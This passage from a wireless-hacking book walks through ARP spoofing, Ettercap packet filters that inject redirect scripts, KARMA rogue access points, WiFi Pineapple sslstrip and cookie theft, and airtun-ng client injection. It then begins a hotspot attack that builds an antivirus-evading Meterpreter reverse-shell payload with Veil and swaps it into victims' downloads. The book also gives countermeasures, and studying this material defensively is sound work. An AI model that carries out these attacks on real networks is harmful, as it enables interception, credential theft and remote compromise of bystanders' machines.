Now,	if	we	do	something	that	causes	traffic	to	flow	to	the	gateway	(such	as	ping	the
Google	public	DNS	server),	the	table	gets	populated	as	a	result	of	the	laptop	sending	out
the	ARP	who-has	packet:

Similarly,	if	we	were	to	dump	the	ARP	table	on	the	router,	we	would	see	the	following
entry	for	the	laptop:
(10.0.1.104)	at	02:ba:dc:0d:ed:01	[ether]	on	eth0

The	goal	of	ARP	poisoning	is	to	modify	the	ARP	table	of	the	clients	and	possibly	the
router	on	the	network.	For	example,	if	we	wanted	to	convince	the	Windows	laptop	that	we
were	the	upstream	router,	all	we’d	need	to	do	is	send	the	laptop	a	packet	that	says
ARP-Reply	10.0.1.1	is-at	00:c0:ca:52:dd:45	(note	we	lied	about	the

address!)

which	we	can	accomplish	with	the	following	command:

Before	going	further	with	this	attack,	let’s	imagine	what	happens	if	we	were	to	ping
8.8.8.8	from	the	Windows	box.	First,	it	would	check	its	routing	table	and	realize	that	in
order	to	get	to	8.8.8.8,	it	should	send	the	packet	to	its	upstream	router	at	10.0.1.1.	Next,	it
would	check	its	ARP	table	for	the	MAC	address	of	10.0.1.1.	Since	we	are	poisoning	the
laptop’s	ARP	table,	the	Windows	host	will	recognize	the	attacker	as	the	default	gateway
(00:c0:ca:52:dd:45).	Finally,	it	will	send	an	ICMP	Echo	Request	packet	with	an	IP
destination	of	8.8.8.8	and	MAC	destination	of	00:c0:ca:52:dd:45.	This	packet	will	arrive
at	our	Linux	box	on	the	wlan0	interface.

Now,	what	will	our	Linux	box	do?	The	same	thing	it	does	with	any	incoming	packets.
First,	it	will	apply	any	firewall	rules	to	the	packet.	Next,	it	will	realize	that	although	this
packet	arrived	on	wlan0,	it	is	destined	for	8.8.8.8	(which	is	not	us).	If	IP	forwarding	is
enabled,	the	attacker	system	will	act	like	a	normal	router.	That	means	we	will	consult	our
routing	table	and	determine	our	next-hop	router	for	this	destination	(10.0.1.1).	Then	our
attack	system	will	consult	our	ARP	table	and	determine	10.0.1.1	is	at	00:fe:ed:40:95:b6.
Finally,	it	will	transmit	this	packet	back	out	the	wlan0	interface.

	



You	can	check	if	IP	forwarding	is	enabled	by	running	cat	/proc/sys/net/ipv4/
ip_forward.

At	this	point,	the	packet	will	take	its	normal	route	out	of	the	network	and	up	to
Google.	When	Google	replies,	the	packet	will	end	up	at	the	LAN’s	legitimate	default
gateway.	The	question	is,	which	path	does	the	packet	take	from	the	default	gateway?	Will
the	router	send	the	packet	directly	to	the	Windows	box,	or	will	it	pass	it	to	us	first?

If	you	answered	“directly	to	the	Windows	box,”	give	yourself	a	prize.	The	ARP-Reply
10.0.1.1	is-at	00:c0:ca:52:dd:45	packets	we	were	sending	only	modified	the
Windows	box’s	ARP	table,	not	the	router’s.

If	we	want	to	use	ARP	spoofing	to	see	the	full	conversation	(sometimes	called	full-
duplex),	we	need	to	transmit	the	inverse	packet	to	the	upstream	router.	In	this	case,	that
would	be	ARP-Reply	10.0.1.104	is-at	00:c0:ca:52:dd:45.	We	can	return	to	arpspoof
to	do	this	automatically	by	specifying	the	-r	flag.

	

When	manipulating	other	people’s	ARP	tables,	you	may	see	your	Linux	box	generate
ICMP	redirect	messages.	When	a	packet	comes	in	one	interface	and	goes	back	out	the
same	interface	on	a	router,	it	is	usually	the	result	of	a	misconfigured	client.	The	ICMP
Redirect	packet	is	a	polite	way	to	tell	the	client	to	get	his	ARP	tables	in	order.	They	can	be
disabled	with	the	following	command:	echo	1	>
/proc/sys/net/ipv4/conf/all/send_redirects.	In	this	instance,	1	means	off	to	the
Linux	kernel.	Go	figure.

Through	the	ability	to	manipulate	the	network	with	ARP	spoofing,	we	can	further
exploit	client	devices	on	this	network	with	packet	modification	attacks.

Layer	Two	Packet	Modification

In	the	ARP	spoofing	network	manipulation	attack,	traffic	transmitted	through	the
attacker	is	retransmitted	to	the	intended	destination	by	the	Linux	kernel.	We	can	verify	this



because	if	we	had	disabled	IP	forwarding	in	the	kernel	(by	echoing	'0'	to	/proc/sys
/net/ipv4/ip_forward),	the	Windows	box	would	have	lost	all	network	connectivity.

Letting	the	kernel	forward	your	victim’s	IP	packets	has	several	advantages.	It’s	stable.
It’s	fast.	It	doesn’t	use	a	lot	of	CPU.	But	there	is	one	significant	disadvantage:	when	you
use	the	Linux	kernel	to	forward	packets,	it	is	not	going	to	let	you	modify	them	before	they
leave.

Now,	what	if	we	had	a	program	that	didn’t	rely	on	the	kernel	for	IP	packet	forwarding?
Instead,	it	would	read	packets	off	one	interface,	inspect	them,	possibly	change	them,	and
then	send	them	out	the	correct	interface	as	indicated	by	our	routing	table.

One	such	program	is	called	Ettercap.	It	is	often	characterized	as	an	ARP	spoofing	tool.
Calling	Ettercap	an	ARP	spoofing	tool	is	kind	of	like	calling	Internet	Explorer	a	program
that	views	jpegs.	Yes,	it	can,	but	you’re	kind	of	missing	the	point.

Unlike	the	previous	example	in	which	we	expected	the	kernel	to	forward	the	victim’s
packets,	we	are	going	to	disable	kernel-level	packet	forwarding	and	let	Ettercap	do	this	for
us	instead.	Because	Ettercap	is	responsible	for	forwarding	the	packets,	we	have	the
opportunity	to	modify	the	packets	as	they	come	in	and	out.	To	do	that,	we	utilize
Ettercap’s	filter	feature.

Etterfilter
Installing	Ettercap	and	the	associated	tools	on	a	Linux	host	is	straightforward:
$	sudo	apt-get	install	ettercap

Before	starting	Ettercap,	we	create	a	filter	and	compile	it	into	Ettercap’s	binary	filter
format	as	follows.	In	this	example,	the	filter	is	in	lolcat.etter:

The	first	portion	of	this	switches	all	of	the	victims’	HTTP	Accept-Encoding	headers	to
Accept-Rubbish!	This	might	seem	silly	at	first,	but	it	prevents	the	client	from	getting
compressed	data	back,	which	would	be	impractical	to	modify.

The	next	portion	of	this	script	replaces	any	<BODY>	(or	<body>)	tags	with	a	snippet	of
JavaScript	to	redirect	victims	to	wherever	we	want.	Usually,	we	would	point	them	at	the
browser_autopwn	server	that	we	started	earlier.	If	you	are	feeling	less	malicious,	however,
you	can	send	them	to	whatever	you	like,	for	example,	your	favorite	lolcat.



We	compile	this	filter	as	follows:

Finally	we	run	Ettercap	itself:
$	sudo	ettercap	-T	-i	wlan0	-F	./lolcat.ef	-M	arp	/10.1.0.104/	//

	

By	default,	Ettercap	disables	kernel-level	IP	forwarding.	Without	this,	we	would	get
duplicate	packets	transmitted	outbound	for	each	inbound	packet.

The	Ettercap	command	line	and	its	terminology	are	a	source	of	much	confusion,	so	we
are	going	to	examine	it	in	detail.	The	first	three	arguments	specify	the	filter	we	compiled
earlier,	to	use	wlan0,	and	to	use	the	text-based	(-T)	user	interface.	The	next	two	are	where
things	get	dicey.

The	-M	arp	argument	instructs	Ettercap	to	use	the	ARP	man-in-the-middle	(MitM)
technique.	Ettercap	will	scan	the	entire	subnet	associated	with	the	interface	(wlan0).	In	the
previous	example,	this	causes	Ettercap	to	generate	255	different	ARP	who-was	requests	on
wlan0.



Once	Ettercap	has	swept	all	the	hosts,	it	proceeds	to	tell	everyone	on	the	10.1.0.0
subnet	that	10.1.0.104	is	us.	Similarly,	it	tells	10.1.0.104	that	all	the	hosts	on	the	subnet
are	us.	While	Ettercap	is	running	the	targets,	the	ARP	table	will	look	something	like	the
following:

Once	the	scan	is	complete	and	the	victim	is	forwarding	traffic	to	the	attacker,	Ettercap
starts	displaying	network	traffic	to	your	screen	faster	than	you	can	read	it.	You	can	disable
this	at	runtime	by	pressing	the	SPACEBAR.

Once	that	is	done,	you	can	bring	up	the	online	help	with	h.	One	useful	command	is	l
(lowercase	L)	to	list	the	currently	discovered	hosts:

If	the	user	is	browsing,	you	should	see	some	“Filter	executed”	messages.

After	a	few	these	messages	from	Ettercap,	the	client	will	be	looking	at	some	precious
lolcats.	Of	course,	if	we	were	feeling	more	malicious,	we	could	have	easily	sent	him	to	the
browser_autopwn	server	instead.

	ARP	Spoofing	Countermeasures



There	are	a	few	ways	to	protect	yourself	from	ARP	spoofing.	Some	AV	products	will
monitor	your	ARP	table,	and	if	they	see	anything	suspicious,	they	will	warn	you,	which	is
a	good	start.	One	way	to	prevent	ARP	spoofing	from	working	entirely	is	to	set	a	static
ARP	entry	for	the	default	gateway.	This	technique	is	often	recommended	when	visiting
hacker	conferences,	but	is	only	successful	at	protecting	upstream	network	activity	from
the	client	system	(without	similar	static	ARP	mapping	on	the	default	gateway	for	the	client
system).	The	other	is	to	utilize	a	VPN,	which	will	encapsulate	and	encrypt	all	outbound	IP
activity.

Fortunately,	the	ARP	command	is	similar	across	Windows,	Linux,	and	OS	X.	On	all	of
these	platforms,	you	can	view	your	ARP	table	using	arp	-a,	and	you	can	set	a	static	ARP
entry	by	entering	arp	-s.	The	following	example	shows	how	to	query	your	ARP	table	and
enter	a	static	setting:

In	this	case,	let’s	say	192.168.2.1	is	your	default	gateway	and	you	do	not	suspect	it	is
currently	being	poisoned.	To	make	this	ARP	entry	static	and	prevent	an	ARP	poisoning
attack,	you	would	enter	the	following:

	

On	Windows,	specify	MAC	addresses	using	dashes	instead	of	colons	when	using	the	arp
command.

Of	course,	the	tricky	aspect	is	determining	what	you	should	make	the	ARP	entry	for.
When	dealing	with	802.11,	your	ARP	entry	will	often	be	equal	to,	or	one	off	of,	the
BSSID	of	your	network.	On	Ethernet	networks,	the	entry	could	be	anything.	Without	prior
knowledge	of	the	real	upstream	router,	the	best	thing	you	can	do	is	connect,	check	the
entry,	and	make	it	static.	When	you	do	this,	you	are	assuming	that	you	weren’t	being	ARP
poisoned	initially.

Dynamically	Generating	Rogue	APs	with	hostapd-wpe
(KARMA)



In	the	previous	examples,	we	always	set	the	SSID	of	the	network	we	were
impersonating	manually.	Some	clients	actually	transmit	the	name	of	the	network	they	are
looking	for	when	they	are	scanning	in	Probe	Request	packets.	These	packets	are
effectively	the	equivalent	of	shouting,	“Hey	network	X,	are	you	around?”	An	attacker	who
observes	these	requests	can	respond,	“Yes,	I’m	here!”	in	an	effort	to	lure	victim	clients
onto	a	malicious	network.

The	first	tool	that	implemented	this	attack	was	called	KARMA,	and	it	was	created	in
2004	by	Dino	Dai	Zovi	and	Shane	Macaulay	(K2).	Since	then,	this	technique	has	seen
many	more	iterations—the	most	recent	of	which	can	be	found	in	Hostapd	Wireless
Pwnage	Edition	(hostapd-wpe).	Details	on	obtaining	and	compiling	hostapd-wpe	can	be
found	in	the	previous	chapter.

In	the	following	example,	we	deploy	hostapd-wpe	with	the	tempting	SSID	of	“Free
WiFi!”	In	this	case,	the	Windows	user	is	not	falling	for	it	and	chooses	not	to	connect	to	the
malicious	network.	If	the	victim	is	configured	for	a	hidden	SSID	in	its	preferred	network
list	(PNL),	however,	it	will	send	a	probe	for	a	hidden	wireless	network	(“hidden!	u’ll
never	find	me!”).	Hostapd-wpe	will	respond	to	this	probe,	and	the	victim	will	think	it	is	on
the	hidden	network.

	

Windows	clients	reject	KARMA-style	probe	responses	for	secure	networks	in	the	PNL.
However,	any	open	networks,	such	as	guest	networks,	coffee	shop	hotspots,	hotel
networks,	and	so	on,	will	be	susceptible	to	impersonation	attacks.

	Defending	Against	Dynamically	Generated	Rogue	APs
Modern	wireless	clients	avoid	sending	out	directed	probe	requests	like	the	one	shown
previously	unless	they	have	to.	Specifically,	both	Windows	and	Mac	OS	X	systems	will
not	send	out	these	sorts	of	probes	anymore	unless	there	is	a	hidden	network	in	the	PNL
(because	hidden	networks	don’t	broadcast	the	SSID,	this	directed	probe	is	necessary	for
discovering	them).	As	users,	the	best	way	to	avoid	this	sort	of	attack	is	to	not	connect	to
hidden	networks.	If	you	are	an	administrator,	then	you	should	ensure	that	all	of	your
networks	are	configured	to	broadcast	the	SSID.



These	wireless	attacks	are	all	realistic	options	for	an	adversary,	but	still	require	some
skills	with	Linux	and	experience	with	the	tools	to	use	them	effectively.	Tools	such	as	the
WiFi	Pineapple,	however,	remove	this	last	obstacle	for	an	attacker.

WiFi	Pineapple	Client	Attacks

As	you	learned	in	Chapter	3,	the	WiFi	Pineapple	is	a	special-purpose	device	developed
by	Hak5	and	sold	for	$99/US	(http://hakshop.com).	The	purpose	of	this	device	is	to
greatly	simplify	Wi-Fi	attacks,	and	by	all	measures,	it	has	accomplished	this	goal.

The	fifth	generation	of	the	WiFi	Pineapple	uses	an	AR9331	System-on-Chip	(SoC)
MIPS	processor	with	16MB	ROM,	64MB	RAM,	two	wireless	interfaces,	an	Ethernet
interface,	an	SD	card	interface,	and	a	USB	interface.	Using	a	base	Linux	distribution
based	on	the	popular	OpenWRT	project,	the	WiFi	Pineapple	comes	preconfigured	with
many	of	the	necessary	tools	to	exploit	common	vulnerabilities	in	wireless	networks.
What’s	more,	the	missing	tools	are	easily	accessible	through	the	Pineapple	Bar.

Like	some	of	the	other	attack	techniques	described	in	this	chapter,	the	WiFi	Pineapple
excels	when	configured	to	impersonate	open	Wi-Fi	hotspot	networks.	This	impersonation
can	be	done	one	SSID	at	a	time	by	changing	the	default	SSID	used	by	the	WiFi	Pineapple
(click	Network	|	Access	Point	to	change	the	default	SSID),	or	through	the	use	of	the
integrated	KARMA	functionality.	Starting	a	KARMA	attack	on	the	WiFi	Pineapple	is
straightforward:

1.	Click	the	PineAP	tile	after	logging	in	to	the	WiFi	Pineapple.

2.	Scroll	to	the	Client	Blacklisting	section	and	add	your	attacker	device	MAC	addresses
to	the	blacklist	to	avoid	being	targeted	in	the	attack.

3.	Close	the	tile	to	return	to	the	main	tile	listing	and	click	the	Start	link	next	to	MK5
Karma.

With	the	MK5	Karma	attack	started,	the	WiFi	Pineapple	responds	to	all	probe	requests
except	for	those	devices	in	the	blacklist.	If	a	client	probes	for	an	open	network,	KARMA
responds	and	lures	the	victim	into	the	malicious	network.

This	straightforward	mechanism	performs	a	man-in-the-middle	attack	on	the	network,
but	it	is	of	limited	usefulness	to	the	attacker.	However,	by	using	the	Pineapple	Bar,	it	is
simple	to	extend	the	WiFi	Pineapple	into	a	gateway	capable	of	evading	SSL	and
intercepting	victim	authentication	credentials	and	cookies.

First,	configure	the	WiFi	Pineapple	so	it	can	connect	to	the	Internet	through	your
Ethernet	connection	or	through	the	second	Wi-Fi	interface	to	an	available	network.	Next,

http://hakshop.com


open	the	Pineapple	Bar	tile	from	the	main	menu.

In	the	Pineapple	Bar	tile,	click	Pineapple	Bar:	Available,	and	install	the	sslstrip	and
trapcookies	User	Infusions	(User	Infusions	are	contributed	attack	scripts	used	with	the
WiFi	Pineapple).	Next,	close	the	Pineapple	Bar	tile	to	return	to	the	main	tile	list.	You’ll
see	two	new	tiles	similar	to	the	example	shown	here.

The	Trap	Cookies	infusion	by	“whistlemaster”	logs	all	observed	cookie	content.	This
information	is	useful	for	session	hijacking	attacks,	in	which	tools	such	as	the	Firefox	add-
on	Cookies	Manager+	can	be	used	to	add	victim	cookies	to	the	attacker’s	browser	for
unauthorized	access	to	target	sites.	Starting	the	User	Infusion	is	straightforward;	simply
click	Start	in	the	Trap	Cookies	tile.

The	SSLstrip	Infusion,	also	by	“whistlemaster,”	leverages	the	man-in-the-middle
attack	to	manipulate	the	network	traffic	between	the	victim	and	the	upstream	server.
Originally	implemented	for	Linux	systems	by	Moxie	Marlinspkie,	SSLstrip	stops	a	client
device	from	receiving	SSL	redirect	messages	in	HTTP	traffic	by	stripping	the	s	from
HTTPS	links.	SSLstrip	maintains	the	SSL	link	upstream	to	the	legitimate	server,	but
interacts	with	the	downstream	client	using	HTTP.	When	a	user	visits	a	page	without
explicitly	specifying	“https://www…”,	SSLstrip	can	manipulate	the	exchange	so	the	client
never	engages	in	an	encrypted	session.

https://www


To	use	the	SSLstrip	Infusion,	simply	open	the	tile	interface	and	click	Install.	Next,
click	Start	to	start	the	SSLstrip	attack.	Anytime	a	client	device	connects	to	the	WiFi
Pineapple	and	attempts	to	navigate	to	an	SSL-capable	site	through	an	HTTP	link,	the
otherwise	secure	content	of	the	exchange,	possibly	including	authentication	credentials,
will	be	retrieved,	as	shown	next.



	WiFi	Pineapple	Client	Attack	Defense



For	$99/US,	the	WiFi	Pineapple	is	a	wise	investment	for	anyone	researching	or	leveraging
Wi-Fi	attacks.	From	a	defense	perspective,	the	probability	of	wireless	attacks	occurring
through	the	capabilities	of	the	WiFi	Pineapple	is	more	likely,	due	to	its	ease	of	use.

Many	of	the	defense	techniques	described	earlier	in	this	chapter	will	help	you	defend
against	WiFi	Pineapple	client	attacks	as	well.	For	SSLstrip	attacks	specifically,	developers
should	refrain	from	transitioning	from	HTTP	to	HTTPS	in	their	web	infrastructure,
favoring	HTTPS	for	all	connections.	Firefox	plug-ins	such	as	HTTP	Nowhere	by	Chris
Wilper	can	also	be	used	to	force	clients	to	HTTPS	when	it	is	available.

System	administrators	should	leverage	the	HTTP	Strict	Transport	Security	(HSTS)
header	on	web	servers.	HSTS	indicates	to	supporting	web	browsers	that	the	server	only
accepts	SSL/TLS	connections.	Available	as	an	open	source	module	for	Windows	IIS
servers	(http://hstsiis.codeplex.com)	or	as	a	configuration	change	for	most	Unix-	and
Linux-based	web	servers,	HSTS	prevents	an	attacker	from	performing	SSLstrip-like
attacks	when	the	user	attempts	to	access	a	secure	site	over	HTTP.

Direct	Client	Injection	Techniques
One	common	problem	when	trying	to	perform	wireless	attacks	arises	when	the	AP	refuses
to	relay	packets	between	clients,	sometimes	referred	to	as	client	isolation	or	Public	Secure
Packet	Forwarding	(PSPF).	This	type	of	setup	is	common	in	some	commercial	hotspots
and	hotels,	where	different	clients	on	the	network	really	don’t	have	a	reason	to	talk	with
each	other.	One	way	to	solve	this	problem	is	to	bypass	the	AP	entirely.	The	Aircrack-ng
suite	contains	a	tool	that	allows	you	to	do	this	easily.

Direct	Client	Injection	with	airtun-ng

Conceptually,	airtun-ng	works	as	follows:	it	creates	a	virtual	interface	(at0)	that
applications	can	read	and	write	Ethernet	frames	to	as	usual,	similar	to	how	most	layer	two
VPNs	are	implemented	in	Linux.	Airtun-ng	then	takes	any	outbound	Ethernet	packets	on
at0	and	converts	the	Ethernet	header	into	an	802.11	header.	It	then	injects	this	802.11
packet	through	the	wireless	interface	to	the	appropriate	client,	bypassing	the	AP	entirely.
Performing	this	modification	gives	you	a	transmit-only	channel	directly	to	the	client.

Assuming	the	target	is	within	radio	range	of	the	client,	the	victim	will	process	the
packet	as	if	it	originated	at	the	AP,	responding	as	normal.	While	the	client	transmits	this
frame	to	the	AP,	airtun-ng	can	receive	a	copy	on	the	monitor	mode	interface	wlan0
through	packet	sniffing.	Airtun-ng	then	creates	an	Ethernet	packet	with	the	appropriate
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addresses	and	sends	it	to	applications	on	the	at0	interface.	By	monitoring	the	channel	and
relaying	packets	as	normal	Ethernet	frames,	airtun-ng	provides	the	capability	to	relay
frames	without	the	AP’s	cooperation.

If	you	combine	these	techniques,	you	can	read	and	write	to	any	target	client	associated
with	the	specified	AP,	and	you	can	use	any	unmodified	network	attack	tool	you	want
(including	Nmap	and	Metasploit),	since	airtun-ng	handles	the	encapsulation	and	de-
encapsulation	for	you.	This	process	is	shown	in	Figure	5-2.

Figure	5-2	Airtun-ng	direct	injection

Assuming	you	have	a	monitor	mode	interface	on	the	desired	channel,	let’s	tell	airtun-
ng	to	build	an	interface	to	the	clients:

The	BSSID	is	specified	with	-a,	and	the	-t	0	clears	the	ToDS	bit	(setting	the	FromDS	bit
to	1).	Then	the	created	at0	interface	will	only	be	able	to	communicate	with	clients.

Next,	we	need	to	configure	the	at0	interface.	Since	this	is	the	same	network	in	use
previously,	we	know	it’s	a	10.1.0.0/24	network,	so	we	configure	our	interface	accordingly:

Notice	how	we	explicitly	set	the	Ethernet	address	of	our	TAP	interface	to	the	MAC



address	of	our	real	wireless	card.	Failing	to	do	so	may	result	in	incoherent	addresses	being
used.

At	this	point,	we	should	be	able	to	communicate	with	any	clients	on	the	network	that
are	within	radio	range.	One	impressive	test	of	this	capability	is	the	following	Nmap
results:

Not	only	did	the	airtun-ng-provided	interface	give	us	enough	reliability	to	port-scan	the
box,	but	also	it	didn’t	even	throw	off	the	Nmap	fingerprints.

Of	course,	this	userspace-provided	interface	isn’t	perfect.	Duplicate	packets	and
dropped	packets	are	common.	We	are	basically	doing	the	job	of	an	entire	layer	two
protocol	implementation	from	a	single	userspace	process.	Things	are	not	going	to	be	as
smooth	as	if	we	were	actually	communicating	through	the	intended	kernel	drivers.

	

When	troubleshooting	airtun-ng,	be	sure	to	check	that	your	data	packets	are	being
transmitted	with	the	correct	MAC	address.	If	they	don’t	appear	to	be,	manually	set	the
Ethernet	address	on	your	TAP	interface.

The	biggest	advantage	techniques	such	as	airtun-ng	have	over	other	man-in-the-middle
techniques	is	that	they	work	even	when	APs	implement	client	isolation.	Another	big
advantage	they	have	over	rogue-AP-based	attacks	is	that	the	computer	does	not	need	to	be
lured	into	associating	with	anything,	removing	opportunities	for	logging	evidence	of	the
attacker’s	presence	on	the	AP.

Summary
This	chapter	presented	you	with	many	hands-on	techniques	for	getting	code	execution	on
IEEE	802.11	clients.	If	any	overarching	theme	can	be	discerned	from	the	countermeasures
sections,	it	is	that	you	should	keep	your	wireless	off	unless	you	actually	need	it	and	never
connect	to	an	open	(or	hidden)	network.	You	have	seen	how	the	broadcast	nature	of
wireless	networks	renders	them	far	more	vulnerable	to	man-in-the-middle	techniques	than
traditional	Ethernet	networks.	With	the	ease	of	use	of	attack	tools,	including	Ettercap	and



the	WiFi	Pineapple,	even	attackers	with	little	skill	can	successfully	exploit	weaknesses	to
compromise	wireless	devices.

With	commercial	Wi-Fi	covered,	it’s	time	to	switch	gears.	In	the	next	chapter,	we	will
be	utilizing	a	completely	different	type	of	radio—a	software-defined	radio	(SDR).



	





CHAPTER	6
	



TAKING	IT	ALL	THE	WAY:
BRIDGING	THE	AIR-GAP	FROM

WINDOWS	8
	





With	the	introduction	of	Windows	Vista,	Microsoft	made	significant	changes	to	the	wireless
networking	model	through	the	design	of	the	Network	Driver	Interface
Specification	(NDIS)	6.0	model	and	the	Native	Wi-Fi	driver,	replacing	the	rigid

and	feature-poor	Windows	XP	wireless	interface.	With	continued	enhancements	in
Windows	7	(NDIS	6.20),	Windows	8	(NDIS	6.30),	and	Windows	8.1	(NDIS	6.40),
Windows	users	enjoy	enhanced	flexibility	in	the	wireless	stack,	enabling	new	applications,
security	models,	and	greater	access	to	wireless	services	than	were	previously	possible.

This	new	access	also	gives	an	attacker	the	ability	to	leverage	the	wireless	stack	for
malicious	purposes,	from	the	command-line	or	GUI,	to	attack	other	nearby	networks.	In
this	chapter,	we	examine	some	of	Windows	7’s	and	Windows	8’s	Native	Wi-Fi	interface
features	from	an	attacker’s	perspective,	leveraging	these	features	to	exploit	a	wireless
network	halfway	around	the	world.

This	chapter	uses	an	illustrative	format,	walking	you	through	the	end-to-end	attack
process,	from	preparation	to	reconnaissance	to	compromise	of	a	wireless	client	to	the
attack	of	remote	wireless	networks.	In	this	scenario,	we	highlight	a	common	attack	vector
where	an	attacker	will	exploit	clients	when	security	is	weak,	leveraging	the	compromised
client	for	further	access	when	the	victim	returns	to	the	target	network.

The	Attack	Scenario

Wireless	hotspot	environments	provide	a	great	opportunity	to	exploit	client	systems.
Through	manipulating	web-browsing	activity	with	tools	such	as	Airpwn,	eavesdropping
on	sensitive	content	such	as	unprotected	email	and	other	network	activity,	or
impersonating	network	services,	an	attacker	has	multiple	options	for	compromising	client
systems.

Hotspot	attacks	can	be	opportunistic,	where	the	attacker	exploits	all	vulnerable	clients
for	the	purposes	of	adding	to	a	botnet,	for	example,	or	targeted.	For	a	specific	target,
Google	Maps	can	reveal	locations	of	restaurants	that	are	likely	to	be	frequented	by
employees	during	lunch.	This,	combined	with	knowledge	of	available	hotspot
functionality,	allows	an	attacker	to	set	up	shop	with	a	specific	attack,	snaring	victims	from
his	target	as	they	arrive	and	use	their	systems.

In	every	major	metropolitan	city,	wireless	hotpot	environments	in	widely	popular
chains	afford	attackers	many	opportunities.	In	this	example,	we’ll	describe	a	fictitious
attack	target	called	Potage	Foods,	a	restaurant	hotspot	environment	offering	free	Wi-Fi
service	to	customers	using	the	SSID	“POTAGE.”

In	this	attack,	we	demonstrate	how	to	subvert	wireless	client	systems	to	execute	a



malicious	executable,	granting	us	access	to	the	client	system.	When	the	client	returns	to
his	home	network,	we’ll	remotely	access	his	system	to	bridge	the	air-gap,	exploiting	a
remote	wireless	network	through	a	Windows	7	or	8	client.

Preparing	for	the	Attack
After	identifying	a	hotspot	location	for	attacking	victim	systems	in	the	area,	we	establish
the	attack	infrastructure,	as	shown	in	Figure	6-1.	Here,	we	target	a	victim	system	at	the
hotspot	environment,	allowing	our	victim	to	return	to	his	corporate	network	environment
before	leveraging	a	remote	access	process	that	will	grant	us	access	to	the	internal
corporate	network	and	nearby	resources.

Figure	6-1	Our	target	and	supporting	network	environment

For	our	remote	access	method,	we	leverage	the	Metasploit	Framework	Meterpreter
payload	mechanism.	The	Meterpreter	payload	grants	an	attacker	tremendous	power	over
the	compromised	Windows	system,	with	manual	or	automated	interaction,	access	to	the
filesystem,	registry,	command	shell,	system	processes,	and	more.	On	our	Hack	Server
platform,	we	start	the	Metasploit	msfconsole	tool	and	launch	the	Meterpreter	handler,	as
shown	here.

	



For	help	on	getting	Metasploit	up	and	running	on	your	system,	please	see	Chapter	5.

	

In	this	Metasploit	msfconsole	example,	the	LHOST	parameter	specifies	the	interface	that
the	attacker’s	system	will	use	to	listen	and	accept	inbound	connections	from	a	Meterpreter
session.	We	specify	0.0.0.0	here	to	indicate	that	Metasploit	should	accept	connections
from	any	interface	on	the	attacker	system.

The	msfconsole	prompt	remains	at	the	last	entry	until	a	Meterpreter	client	connects	to
the	system.	We’ll	leave	this	process	running	throughout	the	attack.

Next,	we	create	the	Meterpreter	client	payload,	encoding	the	output	to	avoid	detection



by	antivirus	tools.	Instead	of	using	the	Metasploit	Framework	msfpayload	utility	to
generate	the	executable,	we’ll	use	an	alternative	mechanism	from	Christopher	Truncer	that
provides	better	results	for	evading	antivirus	tools.	Veil	(https://www.veil-evasion.com)	is	a
Python	menu-driven	tool	to	encode	executables	using	several	techniques	that	commonly
evade	antivirus	scanners.	At	the	time	of	this	writing,	Veil	is	only	officially	supported	on
the	Kali	Linux	distribution	(http://www.kali.org),	but	it	also	works	on	modern	Ubuntu
Linux	distributions.

To	download	Veil,	we	clone	the	GitHub	repository	with	the	git	utility.	Next,	we	change
to	the	Veil	directory	and	run	the	Veil.py	script,	producing	the	menu	interface	shown	in
Figure	6-2.

Figure	6-2	Veil	menu	interface	for	executable	encoding

Veil	provides	several	options	for	generating	executable	payloads	that	will	evade
antivirus	scanners,	including	the	ability	to	encode	the	executable	as	a	PowerShell	script	or
as	a	Python	executable	with	PyInstaller	or	Py2Exe.	For	this	scenario,	we’ll	use	Veil’s
Python	encoding	mechanism.

We	navigate	the	Veil	menu	interface	by	entering	the	menu	selection	and	pressing

https://www.veil-evasion.com
http://www.kali.org


ENTER.	Then	we	issue	the	list	command	to	list	the	available	payloads;	we	use	the
python/AESVirtualAlloc	payload,	as	shown	in	Figure	6-3.

Figure	6-3	Veil	AESVirtualAlloc	payload	selection

After	selecting	the	encoding	mechanism,	Veil	prompts	us	to	generate	the	shellcode	to
encode.	By	default,	the	shellcode	is	a	Meterpreter	reverse_tcp	payload.	We	retain	the
default	settings,	using	the	IP	address	and	port	number	of	the	publicly	accessible	Hack
Server,	as	shown	in	Figure	6-4.

Figure	6-4	Veil	shellcode	generation

When	prompted,	we	enter	a	name	for	our	encoded	executable	(just	the	filename	prefix



with	no	extension),	and	select	PyInstaller	as	the	executable	generator.	Veil	displays	a
summary	of	the	encoding	process	after	creating	the	executable,	including	the	output
location	of	the	.exe	and	.py	files,	as	shown	in	Figure	6-5.	Veil	also	reminds	us	not	to
upload	the	created	executable	to	any	online	antivirus	scanner,	as	per	the	Veil	license
restrictions.	We	press	ENTER	to	return	to	the	Veil	main	menu	and	exit	Veil.

Figure	6-5	Veil	completion	message

Finally,	we	copy	the	potage.exe	executable	encoded	with	Veil	to	a	USB	drive	that
we’ll	use	during	the	hotspot	attack.	With	the	supporting	infrastructure	components	of	the
attack	complete,	we’re	ready	to	drive	over	to	the	hotspot	location	to	deliver	the	exploit.

Exploiting	Hotspot	Environments
Although	several	opportunities	are	available	for	exploiting	hotspot	environments,	we’re
going	to	focus	on	attacking	HTTP	download	sessions.	Using	the	I-love-my-neighbors
virtual	machine	(VM)	environment	examined	in	Chapter	5,	we	can	substitute	the
malicious	potage.exe	executable	with	any	other	executable	retrieved	by	the	victim	over
HTTP.

After	booting	the	I-love-my-neighbors	VM,	we	need	to	establish	our	attack	setup.
First,	we	reconfigure	the	default	hotspot	SSID	used	by	I-love-my-neighbors	(victor-timko)
with	the	SSID	of	the	target	hotspot.	By	replicating	the	SSID	used	by	the	hotspot,	hotspot
users	will	automatically	roam	to	us	based	on	signal	quality	decisions	made	by	their	local
wireless	cards	(if	their	profile	is	set	to	“Automatically	Reconnect”	when	added	to
Windows,	which	is	a	likely	case).	Remember	that	SSIDs	are	case	sensitive—be	sure	to
enter	the	same	SSID	used	by	the	victim	hotspot	environment.

From	the	I-love-my-neighbors	shell,	we	edit	the	/etc/hostapd/hostapd.conf.def	file	with
vi,	changing	the	line	SSID=victor-timko	to	SSID=POTAGE.



root@neighbors:~#	vi	/etc/hostapd/hostapd.conf.def

For	the	attack,	we’ll	use	the	replaceExes.pl	service,	which	injects	the	file
/var/www/setup.exe	each	time	a	hotspot	user	downloads	an	executable	over	HTTP.	We’ll
replace	the	stock	setup.exe	with	the	potage.exe	file	created	in	the	last	step.	Mount	the	USB
drive	and	replace	the	stock	setup.exe	file	with	the	potage.exe	file,	as	shown	here:

Next,	we	run	the	neighbor.sh	script,	specifying	our	attached	wireless	card	interface
(wlan0),	the	VM	network	interface	(eth0),	and	the	service	name	(replaceExes.pl).	As
